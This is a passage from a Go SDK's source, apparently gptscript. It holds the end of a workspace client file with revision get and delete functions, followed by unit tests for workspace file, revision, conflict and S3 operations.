359 | if err != nil { 360 | if strings.HasSuffix(err.Error(), fmt.Sprintf("not found: %s/%s", opt.WorkspaceID, filePath)) { 361 | return nil, newNotFoundInWorkspaceError(opt.WorkspaceID, filePath) 362 | } 363 | return nil, err 364 | } 365 | 366 | var info []FileInfo 367 | err = json.Unmarshal([]byte(out), &info) 368 | if err != nil { 369 | return nil, err 370 | } 371 | 372 | return info, nil 373 | } 374 | 375 | type GetRevisionForFileInWorkspaceOptions struct { 376 | WorkspaceID string 377 | } 378 | 379 | func (g *GPTScript) GetRevisionForFileInWorkspace(ctx context.Context, filePath, revisionID string, opts ...GetRevisionForFileInWorkspaceOptions) ([]byte, error) { 380 | var opt GetRevisionForFileInWorkspaceOptions 381 | for _, o := range opts { 382 | if o.WorkspaceID != "" { 383 | opt.WorkspaceID = o.WorkspaceID 384 | } 385 | } 386 | 387 | if opt.WorkspaceID == "" { 388 | opt.WorkspaceID = os.Getenv("GPTSCRIPT_WORKSPACE_ID") 389 | } 390 | 391 | out, err := g.runBasicCommand(ctx, "workspaces/get-revision", map[string]any{ 392 | "id": opt.WorkspaceID, 393 | "filePath": filePath, 394 | "revisionID": revisionID, 395 | "workspaceTool": g.globalOpts.WorkspaceTool, 396 | "env": g.globalOpts.Env, 397 | }) 398 | if err != nil { 399 | if strings.HasSuffix(err.Error(), fmt.Sprintf("not found: %s/%s", opt.WorkspaceID, filePath)) { 400 | return nil, newNotFoundInWorkspaceError(opt.WorkspaceID, filePath) 401 | } 402 | return nil, err 403 | } 404 | 405 | return base64.StdEncoding.DecodeString(out) 406 | } 407 | 408 | type DeleteRevisionForFileInWorkspaceOptions struct { 409 | WorkspaceID string 410 | } 411 | 412 | func (g *GPTScript) DeleteRevisionForFileInWorkspace(ctx context.Context, filePath, revisionID string, opts ...DeleteRevisionForFileInWorkspaceOptions) error { 413 | var opt DeleteRevisionForFileInWorkspaceOptions 414 | for _, o := range opts { 415 | if o.WorkspaceID != "" { 416 | opt.WorkspaceID = o.WorkspaceID 417 | } 418 | } 419 | 420 | if opt.WorkspaceID == "" { 421 | opt.WorkspaceID = os.Getenv("GPTSCRIPT_WORKSPACE_ID") 422 | } 423 | 424 | _, err := g.runBasicCommand(ctx, "workspaces/delete-revision", map[string]any{ 425 | "id": opt.WorkspaceID, 426 | "filePath": filePath, 427 | "revisionID": revisionID, 428 | "workspaceTool": g.globalOpts.WorkspaceTool, 429 | "env": g.globalOpts.Env, 430 | }) 431 | if err != nil && strings.HasSuffix(err.Error(), fmt.Sprintf("not found: %s/%s", opt.WorkspaceID, filePath)) { 432 | return newNotFoundInWorkspaceError(opt.WorkspaceID, fmt.Sprintf("revision %s for %s", revisionID, filePath)) 433 | } 434 | 435 | return err 436 | } 437 | -------------------------------------------------------------------------------- /workspace_test.go: -------------------------------------------------------------------------------- 1 | package gptscript 2 | 3 | import ( 4 | "bytes" 5 | "context" 6 | "errors" 7 | "fmt" 8 | "os" 9 | "testing" 10 | ) 11 | 12 | func TestWorkspaceIDRequiredForDelete(t *testing.T) { 13 | if err := g.DeleteWorkspace(context.Background(), ""); err == nil { 14 | t.Error("Expected error but got nil") 15 | } 16 | } 17 | 18 | func TestCreateAndDeleteWorkspace(t *testing.T) { 19 | id, err := g.CreateWorkspace(context.Background(), "directory") 20 | if err != nil { 21 | t.Fatalf("Error creating workspace: %v", err) 22 | } 23 | 24 | err = g.DeleteWorkspace(context.Background(), id) 25 | if err != nil { 26 | t.Errorf("Error deleting workspace: %v", err) 27 | } 28 | } 29 | 30 | func TestCreateAndDeleteWorkspaceFromWorkspace(t *testing.T) { 31 | id, err := g.CreateWorkspace(context.Background(), "directory") 32 | if err != nil { 33 | t.Fatalf("Error creating workspace: %v", err) 34 | } 35 | 36 | t.Cleanup(func() { 37 | err = g.DeleteWorkspace(context.Background(), id) 38 | if err != nil { 39 | t.Errorf("Error deleting workspace: %v", err) 40 | } 41 | }) 42 | 43 | err = g.WriteFileInWorkspace(context.Background(), "file.txt", []byte("hello world"), WriteFileInWorkspaceOptions{ 44 | WorkspaceID: id, 45 | }) 46 | if err != nil { 47 | t.Errorf("Error creating file: %v", err) 48 | } 49 | 50 | newID, err := g.CreateWorkspace(context.Background(), "directory", id) 51 | if err != nil { 52 | t.Errorf("Error creating workspace from workspace: %v", err) 53 | } 54 | 55 | content, err := g.ReadFileInWorkspace(context.Background(), "file.txt", ReadFileInWorkspaceOptions{ 56 | WorkspaceID: newID, 57 | }) 58 | if err != nil { 59 | t.Fatalf("Error reading file: %v", err) 60 | } 61 | 62 | if !bytes.Equal(content, []byte("hello world")) { 63 | t.Errorf("Unexpected content: %s", content) 64 | } 65 | 66 | err = g.DeleteWorkspace(context.Background(), id) 67 | if err != nil { 68 | t.Errorf("Error deleting workspace: %v", err) 69 | } 70 | } 71 | 72 | func TestWriteReadAndDeleteFileFromWorkspace(t *testing.T) { 73 | id, err := g.CreateWorkspace(context.Background(), "directory") 74 | if err != nil { 75 | t.Fatalf("Error creating workspace: %v", err) 76 | } 77 | 78 | t.Cleanup(func() { 79 | err := g.DeleteWorkspace(context.Background(), id) 80 | if err != nil { 81 | t.Errorf("Error deleting workspace: %v", err) 82 | } 83 | }) 84 | 85 | err = g.WriteFileInWorkspace(context.Background(), "test.txt", []byte("test"), WriteFileInWorkspaceOptions{WorkspaceID: id}) 86 | if err != nil { 87 | t.Fatalf("Error creating file: %v", err) 88 | } 89 | 90 | content, err := g.ReadFileInWorkspace(context.Background(), "test.txt", ReadFileInWorkspaceOptions{WorkspaceID: id}) 91 | if err != nil { 92 | t.Errorf("Error reading file: %v", err) 93 | } 94 | 95 | if !bytes.Equal(content, []byte("test")) { 96 | t.Errorf("Unexpected content: %s", content) 97 | } 98 | 99 | // Read the file and request the revision ID 100 | contentWithRevision, err := g.ReadFileWithRevisionInWorkspace(context.Background(), "test.txt", ReadFileInWorkspaceOptions{WorkspaceID: id}) 101 | if err != nil { 102 | t.Errorf("Error reading file: %v", err) 103 | } 104 | 105 | if !bytes.Equal(contentWithRevision.Content, []byte("test")) { 106 | t.Errorf("Unexpected content: %s", contentWithRevision.Content) 107 | } 108 | 109 | if contentWithRevision.RevisionID == "" { 110 | t.Errorf("Expected file revision ID when requesting it: %s", contentWithRevision.RevisionID) 111 | } 112 | 113 | // Stat the file to ensure it exists 114 | fileInfo, err := g.StatFileInWorkspace(context.Background(), "test.txt", StatFileInWorkspaceOptions{WorkspaceID: id}) 115 | if err != nil { 116 | t.Errorf("Error statting file: %v", err) 117 | } 118 | 119 | if fileInfo.WorkspaceID != id { 120 | t.Errorf("Unexpected file workspace ID: %v", fileInfo.WorkspaceID) 121 | } 122 | 123 | if fileInfo.Name != "test.txt" { 124 | t.Errorf("Unexpected file name: %s", fileInfo.Name) 125 | } 126 | 127 | if fileInfo.Size != 4 { 128 | t.Errorf("Unexpected file size: %d", fileInfo.Size) 129 | } 130 | 131 | if fileInfo.ModTime.IsZero() { 132 | t.Errorf("Unexpected file mod time: %v", fileInfo.ModTime) 133 | } 134 | 135 | if fileInfo.MimeType != "text/plain" { 136 | t.Errorf("Unexpected file mime type: %s", fileInfo.MimeType) 137 | } 138 | 139 | if fileInfo.RevisionID != "" { 140 | t.Errorf("Unexpected file revision ID when not requesting it: %s", fileInfo.RevisionID) 141 | } 142 | 143 | // Stat file and request the revision ID 144 | fileInfo, err = g.StatFileInWorkspace(context.Background(), "test.txt", StatFileInWorkspaceOptions{WorkspaceID: id, WithLatestRevisionID: true}) 145 | if err != nil { 146 | t.Errorf("Error statting file: %v", err) 147 | } 148 | 149 | if fileInfo.WorkspaceID != id { 150 | t.Errorf("Unexpected file workspace ID: %v", fileInfo.WorkspaceID) 151 | } 152 | 153 | if fileInfo.RevisionID == "" { 154 | t.Errorf("Expected file revision ID when requesting it: %s", fileInfo.RevisionID) 155 | } 156 | 157 | // Ensure we get the error we expect when trying to read a non-existent file 158 | _, err = g.ReadFileInWorkspace(context.Background(), "test1.txt", ReadFileInWorkspaceOptions{WorkspaceID: id}) 159 | if nf := (*NotFoundInWorkspaceError)(nil); !errors.As(err, &nf) { 160 | t.Errorf("Unexpected error reading non-existent file: %v", err) 161 | } 162 | 163 | err = g.DeleteFileInWorkspace(context.Background(), "test.txt", DeleteFileInWorkspaceOptions{WorkspaceID: id}) 164 | if err != nil { 165 | t.Errorf("Error deleting file: %v", err) 166 | } 167 | } 168 | 169 | func TestRevisionsForFileInWorkspace(t *testing.T) { 170 | id, err := g.CreateWorkspace(context.Background(), "directory") 171 | if err != nil { 172 | t.Fatalf("Error creating workspace: %v", err) 173 | } 174 | 175 | t.Cleanup(func() { 176 | err := g.DeleteWorkspace(context.Background(), id) 177 | if err != nil { 178 | t.Errorf("Error deleting workspace: %v", err) 179 | } 180 | }) 181 | 182 | err = g.WriteFileInWorkspace(context.Background(), "test.txt", []byte("test0"), WriteFileInWorkspaceOptions{WorkspaceID: id}) 183 | if err != nil { 184 | t.Fatalf("Error creating file: %v", err) 185 | } 186 | 187 | err = g.WriteFileInWorkspace(context.Background(), "test.txt", []byte("test1"), WriteFileInWorkspaceOptions{WorkspaceID: id}) 188 | if err != nil { 189 | t.Fatalf("Error creating file: %v", err) 190 | } 191 | 192 | err = g.WriteFileInWorkspace(context.Background(), "test.txt", []byte("test2"), WriteFileInWorkspaceOptions{WorkspaceID: id}) 193 | if err != nil { 194 | t.Fatalf("Error creating file: %v", err) 195 | } 196 | 197 | revisions, err := g.ListRevisionsForFileInWorkspace(context.Background(), "test.txt", ListRevisionsForFileInWorkspaceOptions{WorkspaceID: id}) 198 | if err != nil { 199 | t.Errorf("Error reading file: %v", err) 200 | } 201 | 202 | if len(revisions) != 2 { 203 | t.Errorf("Unexpected number of revisions: %d", len(revisions)) 204 | } 205 | 206 | for i, rev := range revisions { 207 | if rev.WorkspaceID != id { 208 | t.Errorf("Unexpected file workspace ID: %v", rev.WorkspaceID) 209 | } 210 | 211 | if rev.Name != "test.txt" { 212 | t.Errorf("Unexpected file name: %s", rev.Name) 213 | } 214 | 215 | if rev.Size != 5 { 216 | t.Errorf("Unexpected file size: %d", rev.Size) 217 | } 218 | 219 | if rev.ModTime.IsZero() { 220 | t.Errorf("Unexpected file mod time: %v", rev.ModTime) 221 | } 222 | 223 | if rev.MimeType != "text/plain" { 224 | t.Errorf("Unexpected file mime type: %s", rev.MimeType) 225 | } 226 | 227 | if rev.RevisionID != fmt.Sprintf("%d", i+1) { 228 | t.Errorf("Unexpected revision ID: %s", rev.RevisionID) 229 | } 230 | } 231 | 232 | err = g.DeleteRevisionForFileInWorkspace(context.Background(), "test.txt", "1", DeleteRevisionForFileInWorkspaceOptions{WorkspaceID: id}) 233 | if err != nil { 234 | t.Errorf("Error deleting revision for file: %v", err) 235 | } 236 | 237 | revisions, err = g.ListRevisionsForFileInWorkspace(context.Background(), "test.txt", ListRevisionsForFileInWorkspaceOptions{WorkspaceID: id}) 238 | if err != nil { 239 | t.Errorf("Error reading file: %v", err) 240 | } 241 | 242 | if len(revisions) != 1 { 243 | t.Errorf("Unexpected number of revisions: %d", len(revisions)) 244 | } 245 | 246 | err = g.DeleteFileInWorkspace(context.Background(), "test.txt", DeleteFileInWorkspaceOptions{WorkspaceID: id}) 247 | if err != nil { 248 | t.Errorf("Error deleting file: %v", err) 249 | } 250 | 251 | revisions, err = g.ListRevisionsForFileInWorkspace(context.Background(), "test.txt", ListRevisionsForFileInWorkspaceOptions{WorkspaceID: id}) 252 | if err != nil { 253 | t.Errorf("Error reading file: %v", err) 254 | } 255 | 256 | if len(revisions) != 0 { 257 | t.Errorf("Unexpected number of revisions: %d", len(revisions)) 258 | } 259 | } 260 | 261 | func TestDisableCreateRevisionsForFileInWorkspace(t *testing.T) { 262 | id, err := g.CreateWorkspace(context.Background(), "directory") 263 | if err != nil { 264 | t.Fatalf("Error creating workspace: %v", err) 265 | } 266 | 267 | t.Cleanup(func() { 268 | err := g.DeleteWorkspace(context.Background(), id) 269 | if err != nil { 270 | t.Errorf("Error deleting workspace: %v", err) 271 | } 272 | }) 273 | 274 | err = g.WriteFileInWorkspace(context.Background(), "test.txt", []byte("test0"), WriteFileInWorkspaceOptions{WorkspaceID: id}) 275 | if err != nil { 276 | t.Fatalf("Error creating file: %v", err) 277 | } 278 | 279 | err = g.WriteFileInWorkspace(context.Background(), "test.txt", []byte("test1"), WriteFileInWorkspaceOptions{WorkspaceID: id, CreateRevision: new(bool)}) 280 | if err != nil { 281 | t.Fatalf("Error creating file: %v", err) 282 | } 283 | 284 | err = g.WriteFileInWorkspace(context.Background(), "test.txt", []byte("test2"), WriteFileInWorkspaceOptions{WorkspaceID: id}) 285 | if err != nil { 286 | t.Fatalf("Error creating file: %v", err) 287 | } 288 | 289 | revisions, err := g.ListRevisionsForFileInWorkspace(context.Background(), "test.txt", ListRevisionsForFileInWorkspaceOptions{WorkspaceID: id}) 290 | if err != nil { 291 | t.Errorf("Error reading file: %v", err) 292 | } 293 | 294 | if len(revisions) != 1 { 295 | t.Errorf("Unexpected number of revisions: %d", len(revisions)) 296 | } 297 | 298 | for i, rev := range revisions { 299 | if rev.WorkspaceID != id { 300 | t.Errorf("Unexpected file workspace ID: %v", rev.WorkspaceID) 301 | } 302 | 303 | if rev.Name != "test.txt" { 304 | t.Errorf("Unexpected file name: %s", rev.Name) 305 | } 306 | 307 | if rev.Size != 5 { 308 | t.Errorf("Unexpected file size: %d", rev.Size) 309 | } 310 | 311 | if rev.ModTime.IsZero() { 312 | t.Errorf("Unexpected file mod time: %v", rev.ModTime) 313 | } 314 | 315 | if rev.MimeType != "text/plain" { 316 | t.Errorf("Unexpected file mime type: %s", rev.MimeType) 317 | } 318 | 319 | if rev.RevisionID != fmt.Sprintf("%d", i+1) { 320 | t.Errorf("Unexpected revision ID: %s", rev.RevisionID) 321 | } 322 | } 323 | 324 | err = g.DeleteRevisionForFileInWorkspace(context.Background(), "test.txt", "1", DeleteRevisionForFileInWorkspaceOptions{WorkspaceID: id}) 325 | if err != nil { 326 | t.Errorf("Error deleting revision for file: %v", err) 327 | } 328 | 329 | revisions, err = g.ListRevisionsForFileInWorkspace(context.Background(), "test.txt", ListRevisionsForFileInWorkspaceOptions{WorkspaceID: id}) 330 | if err != nil { 331 | t.Errorf("Error reading file: %v", err) 332 | } 333 | 334 | if len(revisions) != 0 { 335 | t.Errorf("Unexpected number of revisions: %d", len(revisions)) 336 | } 337 | 338 | err = g.DeleteFileInWorkspace(context.Background(), "test.txt", DeleteFileInWorkspaceOptions{WorkspaceID: id}) 339 | if err != nil { 340 | t.Errorf("Error deleting file: %v", err) 341 | } 342 | } 343 | 344 | func TestConflictsForFileInWorkspace(t *testing.T) { 345 | id, err := g.CreateWorkspace(context.Background(), "directory") 346 | if err != nil { 347 | t.Fatalf("Error creating workspace: %v", err) 348 | } 349 | 350 | t.Cleanup(func() { 351 | err := g.DeleteWorkspace(context.Background(), id) 352 | if err != nil { 353 | t.Errorf("Error deleting workspace: %v", err) 354 | } 355 | }) 356 | 357 | ce := (*ConflictInWorkspaceError)(nil) 358 | // Writing a new file with a non-zero latest revision should fail 359 | err = g.WriteFileInWorkspace(context.Background(), "test.txt", []byte("test0"), WriteFileInWorkspaceOptions{WorkspaceID: id, LatestRevisionID: "1"}) 360 | if err == nil || !errors.As(err, &ce) { 361 | t.Errorf("Expected error writing file with non-zero latest revision: %v", err) 362 | } 363 | 364 | err = g.WriteFileInWorkspace(context.Background(), "test.txt", []byte("test0"), WriteFileInWorkspaceOptions{WorkspaceID: id}) 365 | if err != nil { 366 | t.Fatalf("Error creating file: %v", err) 367 | } 368 | 369 | err = g.WriteFileInWorkspace(context.Background(), "test.txt", []byte("test1"), WriteFileInWorkspaceOptions{WorkspaceID: id}) 370 | if err != nil { 371 | t.Fatalf("Error creating file: %v", err) 372 | } 373 | 374 | revisions, err := g.ListRevisionsForFileInWorkspace(context.Background(), "test.txt", ListRevisionsForFileInWorkspaceOptions{WorkspaceID: id}) 375 | if err != nil { 376 | t.Errorf("Error reading file: %v", err) 377 | } 378 | 379 | if len(revisions) != 1 { 380 | t.Errorf("Unexpected number of revisions: %d", len(revisions)) 381 | } 382 | 383 | // Writing to the file with the latest revision should succeed 384 | err = g.WriteFileInWorkspace(context.Background(), "test.txt", []byte("test2"), WriteFileInWorkspaceOptions{WorkspaceID: id, LatestRevisionID: revisions[0].RevisionID}) 385 | if err != nil { 386 | t.Fatalf("Error creating file: %v", err) 387 | } 388 | 389 | revisions, err = g.ListRevisionsForFileInWorkspace(context.Background(), "test.txt", ListRevisionsForFileInWorkspaceOptions{WorkspaceID: id}) 390 | if err != nil { 391 | t.Errorf("Error reading file: %v", err) 392 | } 393 | 394 | if len(revisions) != 2 { 395 | t.Errorf("Unexpected number of revisions: %d", len(revisions)) 396 | } 397 | 398 | // Writing to the file with the same revision should fail 399 | err = g.WriteFileInWorkspace(context.Background(), "test.txt", []byte("test3"), WriteFileInWorkspaceOptions{WorkspaceID: id, LatestRevisionID: revisions[0].RevisionID}) 400 | if err == nil || !errors.As(err, &ce) { 401 | t.Errorf("Expected error writing file with same revision: %v", err) 402 | } 403 | 404 | latestRevisionID := revisions[1].RevisionID 405 | err = g.DeleteRevisionForFileInWorkspace(context.Background(), "test.txt", latestRevisionID, DeleteRevisionForFileInWorkspaceOptions{WorkspaceID: id}) 406 | if err != nil { 407 | t.Errorf("Error deleting revision for file: %v", err) 408 | } 409 | 410 | revisions, err = g.ListRevisionsForFileInWorkspace(context.Background(), "test.txt", ListRevisionsForFileInWorkspaceOptions{WorkspaceID: id}) 411 | if err != nil { 412 | t.Errorf("Error reading file: %v", err) 413 | } 414 | 415 | if len(revisions) != 1 { 416 | t.Errorf("Unexpected number of revisions: %d", len(revisions)) 417 | } 418 | 419 | // Ensure we cannot write a new file with the zero-th revision ID 420 | err = g.WriteFileInWorkspace(context.Background(), "test.txt", []byte("test4"), WriteFileInWorkspaceOptions{WorkspaceID: id, LatestRevisionID: revisions[0].RevisionID}) 421 | if err == nil || !errors.As(err, &ce) { 422 | t.Errorf("Unexpected error writing to file: %v", err) 423 | } 424 | 425 | // Ensure we can write a new file after deleting the latest revision 426 | err = g.WriteFileInWorkspace(context.Background(), "test.txt", []byte("test4"), WriteFileInWorkspaceOptions{WorkspaceID: id, LatestRevisionID: latestRevisionID}) 427 | if err != nil { 428 | t.Errorf("Error writing file: %v", err) 429 | } 430 | 431 | err = g.DeleteFileInWorkspace(context.Background(), "test.txt", DeleteFileInWorkspaceOptions{WorkspaceID: id}) 432 | if err != nil { 433 | t.Errorf("Error deleting file: %v", err) 434 | } 435 | } 436 | 437 | func TestLsComplexWorkspace(t *testing.T) { 438 | id, err := g.CreateWorkspace(context.Background(), "directory") 439 | if err != nil { 440 | t.Fatalf("Error creating workspace: %v", err) 441 | } 442 | 443 | t.Cleanup(func() { 444 | err := g.DeleteWorkspace(context.Background(), id) 445 | if err != nil { 446 | t.Errorf("Error deleting workspace: %v", err) 447 | } 448 | }) 449 | 450 | err = g.WriteFileInWorkspace(context.Background(), "test/test1.txt", []byte("hello1"), WriteFileInWorkspaceOptions{WorkspaceID: id}) 451 | if err != nil { 452 | t.Fatalf("Error creating file: %v", err) 453 | } 454 | 455 | err = g.WriteFileInWorkspace(context.Background(), "test1/test2.txt", []byte("hello2"), WriteFileInWorkspaceOptions{WorkspaceID: id}) 456 | if err != nil { 457 | t.Fatalf("Error creating file: %v", err) 458 | } 459 | 460 | err = g.WriteFileInWorkspace(context.Background(), "test1/test3.txt", []byte("hello3"), WriteFileInWorkspaceOptions{WorkspaceID: id}) 461 | if err != nil { 462 | t.Fatalf("Error creating file: %v", err) 463 | } 464 | 465 | err = g.WriteFileInWorkspace(context.Background(), ".hidden.txt", []byte("hidden"), WriteFileInWorkspaceOptions{WorkspaceID: id}) 466 | if err != nil { 467 | t.Fatalf("Error creating hidden file: %v", err) 468 | } 469 | 470 | // List all files 471 | content, err := g.ListFilesInWorkspace(context.Background(), ListFilesInWorkspaceOptions{WorkspaceID: id}) 472 | if err != nil { 473 | t.Fatalf("Error listing files: %v", err) 474 | } 475 | 476 | if len(content) != 4 { 477 | t.Errorf("Unexpected number of files: %d", len(content)) 478 | } 479 | 480 | // List files in subdirectory 481 | content, err = g.ListFilesInWorkspace(context.Background(), ListFilesInWorkspaceOptions{WorkspaceID: id, Prefix: "test1"}) 482 | if err != nil { 483 | t.Fatalf("Error listing files: %v", err) 484 | } 485 | 486 | if len(content) != 2 { 487 | t.Errorf("Unexpected number of files: %d", len(content)) 488 | } 489 | 490 | // Remove all files with test1 prefix 491 | err = g.RemoveAll(context.Background(), RemoveAllOptions{WorkspaceID: id, WithPrefix: "test1"}) 492 | if err != nil { 493 | t.Fatalf("Error removing files: %v", err) 494 | } 495 | 496 | // List files in subdirectory 497 | content, err = g.ListFilesInWorkspace(context.Background(), ListFilesInWorkspaceOptions{WorkspaceID: id}) 498 | if err != nil { 499 | t.Fatalf("Error listing files: %v", err) 500 | } 501 | 502 | if len(content) != 2 { 503 | t.Errorf("Unexpected number of files: %d", len(content)) 504 | } 505 | } 506 | 507 | func TestCreateAndDeleteWorkspaceS3(t *testing.T) { 508 | if os.Getenv("AWS_ACCESS_KEY_ID") == "" || os.Getenv("AWS_SECRET_ACCESS_KEY") == "" || os.Getenv("WORKSPACE_PROVIDER_S3_BUCKET") == "" { 509 | t.Skip("Skipping test because AWS credentials are not set") 510 | } 511 | 512 | id, err := g.CreateWorkspace(context.Background(), "s3") 513 | if err != nil { 514 | t.Fatalf("Error creating workspace: %v", err) 515 | } 516 | 517 | err = g.DeleteWorkspace(context.Background(), id) 518 | if err != nil { 519 | t.Errorf("Error deleting workspace: %v", err) 520 | } 521 | } 522 | 523 | func TestCreateAndDeleteWorkspaceFromWorkspaceS3(t *testing.T) { 524 | if os.Getenv("AWS_ACCESS_KEY_ID") == "" || os.Getenv("AWS_SECRET_ACCESS_KEY") == "" || os.Getenv("WORKSPACE_PROVIDER_S3_BUCKET") == "" { 525 | t.Skip("Skipping test because AWS credentials are not set") 526 | } 527 | 528 | id, err := g.CreateWorkspace(context.Background(), "s3") 529 | if err != nil { 530 | t.Fatalf("Error creating workspace: %v", err) 531 | } 532 | 533 | err = g.WriteFileInWorkspace(context.Background(), "file.txt", []byte("hello world"), WriteFileInWorkspaceOptions{ 534 | WorkspaceID: id, 535 | }) 536 | if err != nil { 537 | t.Errorf("Error creating file: %v", err) 538 | } 539 | 540 | newID, err := g.CreateWorkspace(context.Background(), "s3", id) 541 | if err != nil { 542 | t.Errorf("Error creating workspace from workspace: %v", err) 543 | } 544 | 545 | content, err := g.ReadFileInWorkspace(context.Background(), "file.txt", ReadFileInWorkspaceOptions{ 546 | WorkspaceID: newID, 547 | }) 548 | if err != nil { 549 | t.Errorf("Error reading file: %v", err) 550 | } 551 | 552 | if !bytes.Equal(content, []byte("hello world")) { 553 | t.Errorf("Unexpected content: %s", content) 554 | } 555 | 556 | err = g.DeleteWorkspace(context.Background(), id) 557 | if err != nil { 558 | t.Errorf("Error deleting workspace: %v", err) 559 | } 560 | 561 | err = g.DeleteWorkspace(context.Background(), newID) 562 | if err != nil { 563 | t.Errorf("Error deleting new workspace: %v", err) 564 | } 565 | } 566 | 567 | func TestCreateAndDeleteDirectoryWorkspaceFromWorkspaceS3(t *testing.T) { 568 | if os.Getenv("AWS_ACCESS_KEY_ID") == "" || os.Getenv("AWS_SECRET_ACCESS_KEY") == "" || os.Getenv("WORKSPACE_PROVIDER_S3_BUCKET") == "" { 569 | t.Skip("Skipping test because AWS credentials are not set") 570 | } 571 | 572 | id, err := g.CreateWorkspace(context.Background(), "s3") 573 | if err != nil { 574 | t.Fatalf("Error creating workspace: %v", err) 575 | } 576 | 577 | err = g.WriteFileInWorkspace(context.Background(), "file.txt", []byte("hello world"), WriteFileInWorkspaceOptions{ 578 | WorkspaceID: id, 579 | }) 580 | if err != nil { 581 | t.Errorf("Error creating file: %v", err) 582 | } 583 | 584 | newID, err := g.CreateWorkspace(context.Background(), "directory", id) 585 | if err != nil { 586 | t.Errorf("Error creating workspace from workspace: %v", err) 587 | } 588 | 589 | content, err := g.ReadFileInWorkspace(context.Background(), "file.txt", ReadFileInWorkspaceOptions{ 590 | WorkspaceID: newID, 591 | }) 592 | if err != nil { 593 | t.Errorf("Error reading file: %v", err) 594 | } 595 | 596 | if !bytes.Equal(content, []byte("hello world")) { 597 | t.Errorf("Unexpected content: %s", content) 598 | } 599 | 600 | err = g.DeleteWorkspace(context.Background(), id) 601 | if err != nil { 602 | t.Errorf("Error deleting workspace: %v", err) 603 | } 604 | 605 | err = g.DeleteWorkspace(context.Background(), newID) 606 | if err != nil { 607 | t.Errorf("Error deleting new workspace: %v", err) 608 | } 609 | } 610 | 611 | func TestCreateAndDeleteS3WorkspaceFromWorkspaceDirectory(t *testing.T) { 612 | if os.Getenv("AWS_ACCESS_KEY_ID") == "" || os.Getenv("AWS_SECRET_ACCESS_KEY") == "" || os.Getenv("WORKSPACE_PROVIDER_S3_BUCKET") == "" { 613 | t.Skip("Skipping test because AWS credentials are not set") 614 | } 615 | 616 | id, err := g.CreateWorkspace(context.Background(), "s3") 617 | if err != nil { 618 | t.Fatalf("Error creating workspace: %v", err) 619 | } 620 | 621 | t.Cleanup(func() { 622 | err = g.DeleteWorkspace(context.Background(), id) 623 | if err != nil { 624 | t.Errorf("Error deleting workspace: %v", err) 625 | } 626 | }) 627 | 628 | err = g.WriteFileInWorkspace(context.Background(), "file.txt", []byte("hello world"), WriteFileInWorkspaceOptions{ 629 | WorkspaceID: id, 630 | }) 631 | if err != nil { 632 | t.Errorf("Error creating file: %v", err) 633 | } 634 | 635 | newID, err := g.CreateWorkspace(context.Background(), "directory", id) 636 | if err != nil { 637 | t.Errorf("Error creating workspace from workspace: %v", err) 638 | } 639 | 640 | content, err := g.ReadFileInWorkspace(context.Background(), "file.txt", ReadFileInWorkspaceOptions{ 641 | WorkspaceID: newID, 642 | }) 643 | if err != nil { 644 | t.Fatalf("Error reading file: %v", err) 645 | } 646 | 647 | if !bytes.Equal(content, []byte("hello world")) { 648 | t.Errorf("Unexpected content: %s", content) 649 | } 650 | 651 | err = g.DeleteWorkspace(context.Background(), id) 652 | if err != nil { 653 | t.Errorf("Error deleting workspace: %v", err) 654 | } 655 | } 656 | 657 | func TestWriteReadAndDeleteFileFromWorkspaceS3(t *testing.T) { 658 | if os.Getenv("AWS_ACCESS_KEY_ID") == "" || os.Getenv("AWS_SECRET_ACCESS_KEY") == "" || os.Getenv("WORKSPACE_PROVIDER_S3_BUCKET") == "" { 659 | t.Skip("Skipping test because AWS credentials are not set") 660 | } 661 | 662 | id, err := g.CreateWorkspace(context.Background(), "s3") 663 | if err != nil { 664 | t.Fatalf("Error creating workspace: %v", err) 665 | } 666 | 667 | t.Cleanup(func() { 668 | err := g.DeleteWorkspace(context.Background(), id) 669 | if err != nil { 670 | t.Errorf("Error deleting workspace: %v", err) 671 | } 672 | }) 673 | 674 | err = g.WriteFileInWorkspace(context.Background(), "test.txt", []byte("test"), WriteFileInWorkspaceOptions{WorkspaceID: id}) 675 | if err != nil { 676 | t.Fatalf("Error creating file: %v", err) 677 | } 678 | 679 | content, err := g.ReadFileInWorkspace(context.Background(), "test.txt", ReadFileInWorkspaceOptions{WorkspaceID: id}) 680 | if err != nil { 681 | t.Errorf("Error reading file: %v", err) 682 | } 683 | 684 | if !bytes.Equal(content, []byte("test")) { 685 | t.Errorf("Unexpected content: %s", content) 686 | } 687 | 688 | // Read the file and request the revision ID 689 | contentWithRevision, err := g.ReadFileWithRevisionInWorkspace(context.Background(), "test.txt", ReadFileInWorkspaceOptions{WorkspaceID: id}) 690 | if err != nil { 691 | t.Errorf("Error reading file: %v", err) 692 | } 693 | 694 | if !bytes.Equal(contentWithRevision.Content, []byte("test")) { 695 | t.Errorf("Unexpected content: %s", contentWithRevision.Content) 696 | } 697 | 698 | if contentWithRevision.RevisionID == "" { 699 | t.Errorf("Expected file revision ID when requesting it: %s", contentWithRevision.RevisionID) 700 | } 701 | 702 | // Stat the file to ensure it exists 703 | fileInfo, err := g.StatFileInWorkspace(context.Background(), "test.txt", StatFileInWorkspaceOptions{WorkspaceID: id}) 704 | if err != nil { 705 | t.Errorf("Error statting file: %v", err) 706 | } 707 | 708 | if fileInfo.WorkspaceID != id { 709 | t.Errorf("Unexpected file workspace ID: %v", fileInfo.WorkspaceID) 710 | } 711 | 712 | if fileInfo.Name != "test.txt" { 713 | t.Errorf("Unexpected file name: %s", fileInfo.Name) 714 | } 715 | 716 | if fileInfo.Size != 4 { 717 | t.Errorf("Unexpected file size: %d", fileInfo.Size) 718 | } 719 | 720 | if fileInfo.ModTime.IsZero() { 721 | t.Errorf("Unexpected file mod time: %v", fileInfo.ModTime) 722 | } 723 | 724 | if fileInfo.MimeType != "text/plain" { 725 | t.Errorf("Unexpected file mime type: %s", fileInfo.MimeType) 726 | } 727 | 728 | if fileInfo.RevisionID != "" { 729 | t.Errorf("Unexpected file revision ID when not requesting it: %s", fileInfo.RevisionID) 730 | } 731 | 732 | // Stat file and request the revision ID 733 | fileInfo, err = g.StatFileInWorkspace(context.Background(), "test.txt", StatFileInWorkspaceOptions{WorkspaceID: id, WithLatestRevisionID: true}) 734 | if err != nil { 735 | t.Errorf("Error statting file: %v", err) 736 | } 737 | 738 | if fileInfo.WorkspaceID != id { 739 | t.Errorf("Unexpected file workspace ID: %v", fileInfo.WorkspaceID) 740 | } 741 | 742 | if fileInfo.RevisionID == "" { 743 | t.Errorf("Expected file revision ID when requesting it: %s", fileInfo.RevisionID) 744 | } 745 | 746 | // Ensure we get the error we expect when trying to read a non-existent file 747 | _, err = g.ReadFileInWorkspace(context.Background(), 